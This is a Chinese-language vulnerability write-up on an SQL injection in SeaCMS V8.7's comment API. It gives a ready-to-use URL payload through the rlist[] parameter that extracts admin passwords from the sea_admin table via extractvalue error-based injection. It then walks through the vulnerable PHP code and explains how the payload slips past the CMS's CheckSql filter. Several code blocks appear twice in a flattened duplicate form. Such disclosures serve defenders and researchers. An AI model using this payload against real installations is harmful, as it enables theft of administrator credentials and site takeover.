海洋CMS V8.7 SQL注入漏洞

发表于 2019年04月18日
Vulndb

海洋CMS V8.7漏洞

payload

/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

1	/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

漏洞分析

在此之前我在MySQL 5.6、5.7上面复现都不成功，因为这两个版本用extractvalue()、updatexml()报错注入不成功，后来换了系统Linux和Windows还有macOS来测试也是一样，和PHP、Apache的版本没有影响只要的还是MySQL的版本问题，所以大家测试的时候注意一下版本。

漏洞文件是在：comment/api/index.php

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
        if(file_exists($jsoncachefile))
        {
                $json=LoadFile($jsoncachefile);
                die($json);
        }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
        createTextFile($h,$jsoncachefile);
}
die($h);        

function ReadData($id,$page)
{
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }        
        $readData = FormatJson($ret);
        return $readData;
}

function Readmlist($id,$page,$size)
{
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}

function Readrlist($ids,$page,$size)
{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}

<?php

session_start();

require_once("../../include/common.php");

$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;

$page = (isset($page) && is_numeric($page)) ? $page : 1;

$type = (isset($type) && is_numeric($type)) ? $type : 1;

$pCount = 0;

$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";

//缓存第一页的评论

if($page<2)

{

if(file_exists($jsoncachefile))

{

$json=LoadFile($jsoncachefile);

die($json);

}

$h = ReadData($id,$page);

$rlist = array();

if($page<2)

{

createTextFile($h,$jsoncachefile);

}

die($h);

function ReadData($id,$page)

{

global $type,$pCount,$rlist;

$ret = array("","",$page,0,10,$type,$id);

if($id>0)

{

$ret[0] = Readmlist($id,$page,$ret[4]);

$ret[3] = $pCount;

$x = implode(',',$rlist);

if(!empty($x))

{

$ret[1] = Readrlist($x,1,10000);

}

$readData = FormatJson($ret);

return $readData;

}

function Readmlist($id,$page,$size)

{

global $dsql,$type,$pCount,$rlist;

$ml=array();

if($id>0)

{

$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";

$rs = $dsql ->GetOne($sqlCount);

$pCount = ceil($rs['dd']/$size);

$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";

$dsql->setQuery($sql);

$dsql->Execute('commentmlist');

while($row=$dsql->GetArray('commentmlist'))

{

$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);

$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";

}

$readmlist=join($ml,",");

return $readmlist;

}

function Readrlist($ids,$page,$size)

{

global $dsql,$type;

$rl=array();

$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

$dsql->setQuery($sql);

$dsql->Execute('commentrlist');

while($row=$dsql->GetArray('commentrlist'))

{

$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";

}

$readrlist=join($rl,",");

return $readrlist;

}

传入$rlist的值为我们构造的sql语句：

@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

1	@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数，implode处理后传入Readrlist函数

可以看到执行的SQL语句是

它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测

文件在include/sql.class.php的CheckSql函数

//完整的SQL检查
        while (true)
        {
                $pos = strpos($db_string, '\'', $pos + 1);
                if ($pos === false)
                {
                        break;
                }
                $clean .= substr($db_string, $old_pos, $pos - $old_pos);
                while (true)
                {
                        $pos1 = strpos($db_string, '\'', $pos + 1);
                        $pos2 = strpos($db_string, '\\', $pos + 1);
                        if ($pos1 === false)
                        {
                                break;
                        }
                        elseif ($pos2 == false || $pos2 > $pos1)
                        {
                                $pos = $pos1;
                                break;
                        }
                        $pos = $pos2 + 1;
                }
                $clean .= '$s$';
                $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

//完整的SQL检查

while (true)

{

$pos = strpos($db_string, '\'', $pos + 1);

if ($pos === false)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)

{

$pos1 = strpos($db_string, '\'', $pos + 1);

$pos2 = strpos($db_string, '\\', $pos + 1);

if ($pos1 === false)

{

break;

}

elseif ($pos2 == false || $pos2 > $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= '$s$';

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

可以看到这里没有把我们的报错函数部分代入进去，如果代入进去检测的话就会这里检测到

所以上面构造的语句也很有意思

后面$clean就是要送去检测的函数，通过一番处理后得到的值为

后面返回来执行的的SQL语句还是原样没动

基本分析就完成了，最终执行的语句：

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

1	SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

还有一些问题就是构造语句的问题。

刚开始传入的%27后面怎么变成了转义后的单引号？

开头的时候require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数，如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数，这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), \" (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。

所以后面的SQL语句就会加上转义符号，然后经过CheckSql函数的时候就绕过了对报错语句的检测。

function _RunMagicQuotes(&$svar)
{
        if(!get_magic_quotes_gpc())
        {
                if( is_array($svar) )
                {
                        foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                        $svar = addslashes($svar);
                }
        }
        return $svar;
}